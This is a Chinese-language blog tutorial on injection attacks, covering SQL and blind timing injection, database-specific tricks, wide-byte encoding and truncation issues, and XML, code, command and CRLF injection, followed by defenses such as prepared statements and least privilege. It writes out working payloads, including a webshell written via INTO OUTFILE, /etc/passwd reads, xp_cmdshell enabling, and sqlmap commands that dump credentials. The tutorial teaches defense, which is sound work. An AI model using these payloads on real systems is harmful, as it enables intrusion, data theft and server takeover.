1. 程式人生 > >新人開車——註入攻擊

新人開車——註入攻擊

禁止 選項 stat 包含漏洞 lec 開啟 表名 2.6 benchmark

一.1 SQL註入

  1、註入攻擊的本質,是把用戶輸入的數據當做代碼執行。這裏有兩個關鍵條件:

    (1)用戶能夠控制輸入

    (2)原本程序要執行的代碼,拼接了用戶輸入的數據

    大家都耳熟能詳了,我舉一個例子,

      var ship;

      ships=Request.form("ship");

      var sql= "select * from Orders where ships= ‘ "+ships+ " ‘ ";

    假如用戶輸入一段有語義的SQL語句,比如:

      Beijng‘;drop table Orders --

   那麽在執行時就會拼接成:

      "select * from Orders where ships= ‘ Beijng‘;drop table Orders ‘ --

   我們看到,原本正常執行的查詢語句,現在變成了查詢完後,再執行一個drop表的操作,而這個操作,是用戶構造了惡意數據的結果。

   在SQL註入的過程中,如果網站的WEB的服務器開啟了錯誤回顯,則會為攻擊者提供極大的便利,比如攻擊者在參數中輸入一個單引號 “ ‘ ”,引起執行查詢語句的語法錯誤,

服務器直接返回了錯誤信息:

   Microsoft JET Database Engine 錯誤 ‘80040e14’

   字符串的語法錯誤 在查詢表達式 ‘ID=49 ’ ’ 中。

   /showdetail.asp ,行8

  從錯誤信息中可以知道,服務器用的是access數據庫,查詢語句的偽代碼有可能是:

    select XX from table_x where id=$id

  錯誤回顯披露了敏感信息,對於攻擊者來說,構造SQL註入的語句就可以更加得心應手。

一.2 盲註

 1、盲註的概念

  所謂的 “盲註”,就是在服務器沒有錯誤回顯時完成的註入攻擊

  最常見的盲註驗證方法是,構造簡單的條件語句,根據返回頁面是否發生變化,來判斷SQL語句是否得到執行。

  當攻擊者構造條件 “ and 1=1”時,如果頁面正常返回,再構造 “and 1=2” 如果頁面結果將為空或者是一個出錯頁面,就可以判斷 “ id ”參數存在SQL註入漏洞。(頁面返回不一致就說明存在漏洞)

  在這個攻擊過程中,服務器雖然關閉了錯誤回顯,但是攻擊者通過簡單的條件判斷,再對比頁面返回結果的差異,就可以判斷出SQL註入漏洞是否存在。。。

 2、盲註的一個技巧:Timing Attack

  在MYSQL中,有一個BENCHMARK(count,expr)函數,它是用於測試函數性能的,有倆個參數,函數執行的結果是,將表達式expr執行count次。

  比如:

      select benchmark(10000,encode(‘hello‘,‘goodby‘));

  就將encode(‘hello‘,‘goodby‘)執行了10000次,共用時4.74秒。

  因此,利用BENCHMARK(count,expr)函數,可以讓同一個函數執行若幹次,使得結果返回的時間比平時要長;通過時間長短的變化,可以判斷出註入語句是否執行成功。這是一種邊信道攻擊,這個攻擊在盲註中被稱為Timing Attack。

  實例:

     1170 union select if (substring(current,1,1) =char(119),benchmark(5000,encode(‘MSG‘,‘BY 5 secode‘)),null) from (select Database as current) as tb1;

  這個payload判斷庫名的第一個字母是否為char(119),即為小寫的w。如果為真,則會通過BENCHMARK(count,expr)函數造成較長的時延,如果不為真,則該語句將很快執行完。

  如果當前數據庫用戶(current_user)具有寫權限,那麽攻擊者還可以將信息寫入本地磁盤中。比如寫入Web目錄中,攻擊者就有可能下載這些文件

      1170 union all select table_name,table_type from information_schema.tables where table_schema=‘mysql‘ order by table_name desc into outfile ‘/path/location/server/www/schema.txt ‘

  類似的,通過Dump文件的方法,還可以寫入一個webshell:

      1170 union select "<? system($_request[‘cmd‘]); ?>",2,3,4 into outfile "/var/www/html/temp/c.php" --

二、數據庫攻擊技巧

  SQL註入是基於數據庫的一種攻擊。不同的數據庫有著不同的功能、不同的語法和函數,因此針對不同的數據庫,SQL註入的攻擊技巧也有所不同。

   2.1 常見的攻擊技巧

  SQL註入可以猜解出數據庫的對應版本,比如下面這個payload ,如果Mysql 的版本是4,則會返回TRUE:

    ?id=5 and substring( @@version,1,1) = 4

  下面這個Payload,則是利用union select 來分別確定表名admin是否存在,列名passwd是否存在:

    union all select 1,2,3 from admin;

    union all select 1,2,passwd from admin;

  等等等。。。。

  這個過程非常的繁瑣,所以非常必要使用一個自動化的工具來幫助完成整個過程。神器---------SQLMAP

  下面我就列舉一下該神器的常見用法:

    (1)get型

      sqlmap -u "IP" --is-dba           查看權限

      sqlmap -u "IP" --dbs            所有數據庫名

      sqlmap -u "IP" --current-db           當前數據庫名

      sqlmap -u "IP" --Table -D "數據庫名"           查看想要查看數據庫中都有哪些表

      sqlmap -u "IP" --column -T "表名" -D "數據庫名"           查看有哪些字段

      sqlmap -u "IP" --dump -C "username,password" -T "表名" -D "數據庫名"     查看具體字段下的值

      sqlmap -u "IP" --dump-all                            全部下載

    (2)post型

      sqlmap -r "IP" --dbs 等,同上面差不多

      sqlmap -r "IP" -forms 找到註入點 jjj=123

      sqlmap -r "IP" -forms -p jjj -dbs 等

    (3)cookie註入

      sqlmap -u "IP" --cookie "id=56" --level 2

      sqlmap -u "IP" --tables --cookie "id=56" --level 2

    在sqlmap中出現黃色則說明 “失敗”,轉為cookie註入。  

  2.2 命令執行

  在註入攻擊的過程中,常常會用到一些讀寫文件的技巧。比如在MYsql中,就可以通過 load_file() 讀取系統文件,並通過 into dumpfile 寫入本地文件。當然這要求當前數據庫用戶有讀寫系統相應文件或目錄的權限。

    union select 1,1,load_file("/etc/passwd"),1,1;

  如果要將文件讀出後,再返回結果給攻擊者,則可以使用下面的這個技巧:
    (1)  create table potoao(line blbo);

    (2)  union select 1,1,hex(load_file(‘/etc/passwd‘)),1,1 into dumpfile ‘/tmp/potoao‘;

    (3)  load data infile ‘/tmp/potoaos‘ into table potoao;

  這需要當前數據庫用戶有創建表的權限。首先通過load_file()將系統文件讀出,再通過 into dumpfile 將該文件寫入系統中,然後通過load data file 將文件導入創建的表中,最後就可以通過一般的註入技巧直接操作表數據了。

  除了可以使用 into dumpfile外,還可以使用 into outfile,兩者的區別是dumpfile 適用於二進制文件,它會將目標文件寫入同一行內;而 outfile 則更適用於文本文件。

  寫入文件的技巧,經常被用於導出一個webshell,為攻擊者的進一步攻擊做鋪墊。因此在設計數據庫安全方案時,可以禁止普通數據庫用戶具備操作文件的權限

  2.3 命令執行

  在MYSQL中,除了可以通過導出webshell間接地執行命令外,還可以利用 “用戶自定義函數” 的技巧,即“UDF”來執行命令。

   為找到適應mysql5及之後版本,安全研究者們找到了另外的方法——通過 lib_mysqludf_sys 提供的幾個函數執行系統命令,其中最主要的函數是sys_eval() 和sys_exec()。在攻擊過程中,將lib_mysqludf_sys.so上傳到數據庫能訪問到的路徑下。在創建UDF之後,就可以使用sys_eval()等函數執行命令了。

  命令執行,在自動化註入工具sqlmap中已經集成了此功能。

  例如:

    sqlmap.py -u "http://www.123.com/asal/get.php?id" --os-cmd id -v 1

  UDF不僅僅是MYSQL的特性,其他數據庫也有著類似的功能。在sqlserver中,則可以使用存儲過程 “xp_cmdshell”執行系統命令。在oracle數據庫中,如果服務器同時還有java環境,那麽也可能造成命令執行。在sql註入後可以執行多語句的情況下,可以在oralce中創建java的存儲過程執行系統命令。

  一般來說,在數據庫中執行系統命令,要求具有較高的權限。在數據庫加固時,可以參閱官方文檔。在建立數據庫賬戶時,應該遵守 “最小權限原則” ,盡量避免web應用使用數據庫的管理員權限。

  2.4 攻擊存儲過程

  存儲過程必須使用 call 或者 execute 來執行。在sqlserver和oracle數據庫中都有大量內置的存儲過程。在註入攻擊的過程中,存儲過程將為攻擊者提供很大的便利。

  在sqlserver 中,存儲過程 "xp_cmdshell" 可謂是臭名昭著,註入sqlserver時都是使用它執行系統命令。

    exec master.dbo.xp_cmdshell ‘cmd.exe dir c:‘ 

    exec master.dbo.xp_cmdshell ‘ping ‘

  xp_cmdshell 在sqlserver 2000 中默認是開啟的,如果禁止了,可以使用xp_addextendedproc開啟它,但是在sqlserver 2005 及以後版本中則默認禁止了,但是如果當前的數據庫用戶擁有sysadmin權限,則可以使用sp_configure重新開啟它;

    exec sp_configure ‘show advanced options‘,1

    reconfigure

    exec sp_configure ‘xp_cmdshell ‘,1

    reconfigure

  除了xp_cmdshell外,還有一些其他的存儲過程對攻擊過程也是有幫助的,比如xp_regread 可以操作註冊表:

    exec xp_regread HKEY_MACHINE

    ‘SYSTEM\CurrentControlSet\Services\lanserver\parameters‘, ‘nullsessionshares‘

  等等,還有很多存儲過程都非常有用。

  除了利用存儲過程直接攻擊外,存儲過程本身也可能會存在註入攻擊。

  2.5編碼問題 ---寬字節註入

  註入攻擊中常常會用到單引號,雙引號等特殊字符。在應用中開發者為了安全經常會使用轉義字符 “\”來轉義這些特殊字符。單數當數據庫使用了 “寬字符集”時,可能會產生一些意想不到的漏洞。比如當MYSQL使用了GBK編碼時,oxbf27 和oxbf5c都會被認為是一個字符(雙字節字符)。因此,假如攻擊者輸入: oxbf27 or 1=1

經過轉義後,會變成 oxbf5c 27,轉移符被吃掉,從而攻擊成功。

  要解決這種問題,需要統一數據庫、操作系統、web應用所使用的字符集 ,以避免各層對字符的理解存在差異。基於字符集的攻擊並不局限於SQL註入,凡是會解析數據的地方都可能存在此問題。比如在XSS攻擊時,由於瀏覽器與服務器返回的字符編碼不同,也可能會存在字符集攻擊。解決辦法就是在HTML頁面的<mets> 標簽中指定當前頁面的charset。

  如果因為種種原因無法統一字符編碼,則需要單獨實現一個用於過濾或轉移的安全函數,在其中需要考慮到字符的可能範圍。

  根據系統所使用的不同字符集來限制用戶輸入數據的字符允許範圍,以實現安全過濾。

  2.6 SQL COLUMN TRUNCATION (截斷攻擊)

  在mysql的配置選項中,有一個sql_mode選項。當mysql的sql_mode設置為default時,即沒有開啟 STRICT_ALL_TABLES選項時,mysql對於用戶插入的超長值只會提示waring,而不是error (如果是error則插入不成功),這可能會導致發生一些 “截斷” 問題。

  開啟strict模式:

    sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

  關閉strict模式:

    sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

三、正確地防禦SQL註入

  從防禦的角度來看,要做的事情有兩件:

    (1)找到所有的SQL註入漏洞

    (2)修補這些漏洞

  sql註入的防禦並不是一件簡單的事情,開發者常常會走入一些誤區。比如只對用戶輸入做一些escape處理,這是不夠的。參考如下案例:

    $sql="select id,name,mail from register where id=".mysql_real_escape_string($_GET[‘id‘]);

    當攻擊者構造的註入代碼如下:

    http://www.123.com/user.php?id=2,and,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6 from,mysql.user,where,user=substring_index(current_user(),char(64),1)

    將繞過mysql_real_escape_string的作用註入成功。

    因為mysql_real_escape_string僅僅會轉義:’、”、\r 、\n、NULL 、Control-Z 。這幾個字符,在本例中sql註入所使用的payload完全沒有用到這幾個字符。

    那麽到底如何正確的防禦呢?

    1、使用預編譯語句

    使用預編譯的sql語句,sql語句的語義不會發生改變。在sql語句中,變量用?表示,攻擊者無法改變sql的結構。

    $query="insert into mycity (name,countrycode,district) values (?,?,?)";

    $stmt=$mysqli->prepare($query);

    $stmt->bind_param("sss",$val1,$val2,$val3);

    $val1=‘gart‘

    $val2=‘DEU‘

    $val3=‘BADEN‘

    $stmt->execute();

    2、使用存儲過程

    使用存儲過程的效果和使用預編譯語句類似,其區別就是存儲過程需要先將sql語句定義在數據庫中。但需要註意的是,存儲過程中也可能會存在註入問題,因此應該盡量避免在存儲過程內使用動態的sql語句。如果無法避免,則應該使用嚴格的輸入過濾或者是編碼函數來處理用戶的輸入數據。

    但是有時候,可能無法使用預編譯語句或存儲過程,該怎麽辦?這時候只能再次回到輸入過濾和編碼等方法上來。

    3、檢查數據類型

    檢查輸入數據的數據類型,在很大程度上可以對抗SQL註入。

    比如下面這段代碼,就限制了輸入數據的類型只能為 integer ,在這種情況下,也是無法註入成功的。

    <?php

      settype($offset,‘integer‘);

      $query="select id,name from products order by name limit 20 offset $offset;";

      $query=sprintf("select id,name from products order by name limit 20 offset %d;",$offset);

    ?>

    其他的數據格式或類型檢查也是有益的。比如用戶在輸入郵箱時,必須嚴格按照郵箱的格式。但是數據類型檢查並非萬能的,如果需求就是需要用戶提交字符串,比如一段短文,則需要依賴其他的方範sql註入。

    4、使用安全函數

    一般來說,各種web語言都實現了一些編碼函數,可以幫助對抗sql註入。但是前文舉了一些編碼函數被繞過的例子,因此我們需要一個足夠安全的編碼函數。

    安全專家編寫的函數:

       ESAPI.encoder().encodeForSQL(new OracleCode(),queryparam);

    在使用時:

       Code ORACLE_CODEC = new OracleCode();

       String query="select user_id from user_data where user_name=‘ "+ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("userID"))+

       " ‘ and user_password=‘ " + ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("pwd")) +" ‘ " ;

    在最後,從數據庫自身的角度來說,應該使用最小權限原則,避免WEB應用直接使用root、dbowner等高權限賬戶直接連接數據庫。如果有多個不同的應用在使用同一個數據庫,則也應該為每個應用分配不同的賬戶。web應用使用的數據庫賬戶,不應該有創建自定義函數、操作本地文件的權限。

 

四、其他註入攻擊

  4.1 XML註入

  XML是一種常用的標記語言,通過標簽對數據進行結構化表示。XML與HTML都是SGML(標準通用標記語言)。

    final string guestrole="guest_role";

    .......

    //userdata是準備保存的XML數據,接收了name和email兩個用戶提交來的數據

    string userdata = "<user role=" + guestrole + "><name>"+

    request.getParameter("name") +

     "</name><email>"

    + request.getParameter("email") + "</email></user>";

  但是如果用戶構造了惡意輸入數據,就有可能形成註入攻擊。比如用戶輸入的數據如下:

    [email protected]</email></user><user role="admin_role"><name>test</name><email>[email protected]

最終生成的XML文件裏被插入一條數據:

    <?xml version="1.0" encoding="utf-8" ?>

    <user role ="guest_role">

      <name>user1

      </name>

      <email> [email protected] </email>

    </user>

    <user role="admin_role">

      <name>test</name>

      <email>[email protected]</email>

    </user>

  由此可見xml註入,也需要滿足註入攻擊的兩大條件:用戶能控制數據的輸入;程序拼湊了數據。

  修補方案是,對用戶輸入數據中包含的 “語言本身的保留字符”進行轉義

    static

      {

        entityToCharacterMap = new HashTrie<Character>();

        entityToCharacterMap.put("lt",‘<‘);

        entityToCharacterMap.put("gt",‘>‘);

        ........

      }

  

  4.2代碼註入

  代碼註入比較特別一點。代碼註入與命令註入往往都是有一些不安全的函數或者方法引起的,其中的典型代表就是eval();如下例:

    $myval="varname";

    $x=$_GET[‘arg‘];

    eavl("\$myval = $x;");

  攻擊者可以通過如下payload實施代碼註入:

    /index.php?arg=1;phpinfo()

  存在代碼註入漏洞的地方,與“ 後門 ”沒有區別。

  此外,Jsp的動態include也能導致代碼註入。嚴格來說,PHP、JSP的動態include(文件包含漏洞)導致的代碼執行,都可以算是一種代碼執行。

  代碼註入多見於腳本語言,有時候代碼註入可以造成命令註入。比如:

    <?php

      $varerror=system( ‘cat‘ .$_GET[‘pageid‘], $valoretorno);

      echo $varerror;

    ?>

  這就是一個典型的命令註入,攻擊者可以使用system()函數執行他想要的系統命令。

  vulnerable.php?pageid-loquesea ; ls

  在對抗代碼註入、命令註入時,需要禁用eval()、system()等可以執行命令的函數。如果一定要使用這些函數,則需要對用戶的輸入數據進行處理。此外,在php/jsp重比米娜動態include遠程文件,或者安全地處理它。

  4.3 CRLF註入

  CRLF實際上是兩個字符:CR是Carriage Return (ASCII 13, \r ), LF是 line Feed (ASCII 10,\n)。\r\n 這兩個字符是用於表示換行的,其十六進制編碼分別為 ox0d、 ox0a 。

  CRLF常被用做不同語義之間的分隔符。因此通過 “註入CRLF字符”,就有可能改變原有的語義。

  比如,在日誌文件中,通過CRLF有可能構造出一條新的日誌。下面這段代碼,將登陸失敗的用戶寫入日誌文件中。

    def log_failed_login(username)

      log = open("access.log",‘a‘)

      log.wirte("user login failed for :%s \n " % username)

      log.colse()

  正常情況下,會記錄下如下日誌:

      user login failed for :guest

      user login failes for: admin

  由於沒有處理換行符 “\r\n” ,因此當攻擊者輸入如下數據時,就可能插入一條額外的日誌記錄。

    guest \n user login succeeded for:admin

  由於換行符 “\n”的存在,會變成:

     user login failed for :guest

     user login succeeded for: admin (第二條記錄是偽造的)

  CRLF註入並非僅能用於log註入,凡是使用CRLF作為分割符的地方都可能存在這種註入,比如 “註入HTTP頭” ,它可以破壞HTTP協議的完整性。

  對抗CRLF的方法很簡單,只需要處理好 “\r” 、“\n” 這兩個保留字符即可,尤其是那些使用 “換行符”作為分隔符的應用。

五、總結

  在對抗註入攻擊時,只需要牢記“數據與代碼分離原則”,在“拼湊”發生的地方進行安全檢查,就能避免此類問題。

  

        

  

  

  

  

   

   

   

  

  

  

新人開車——註入攻擊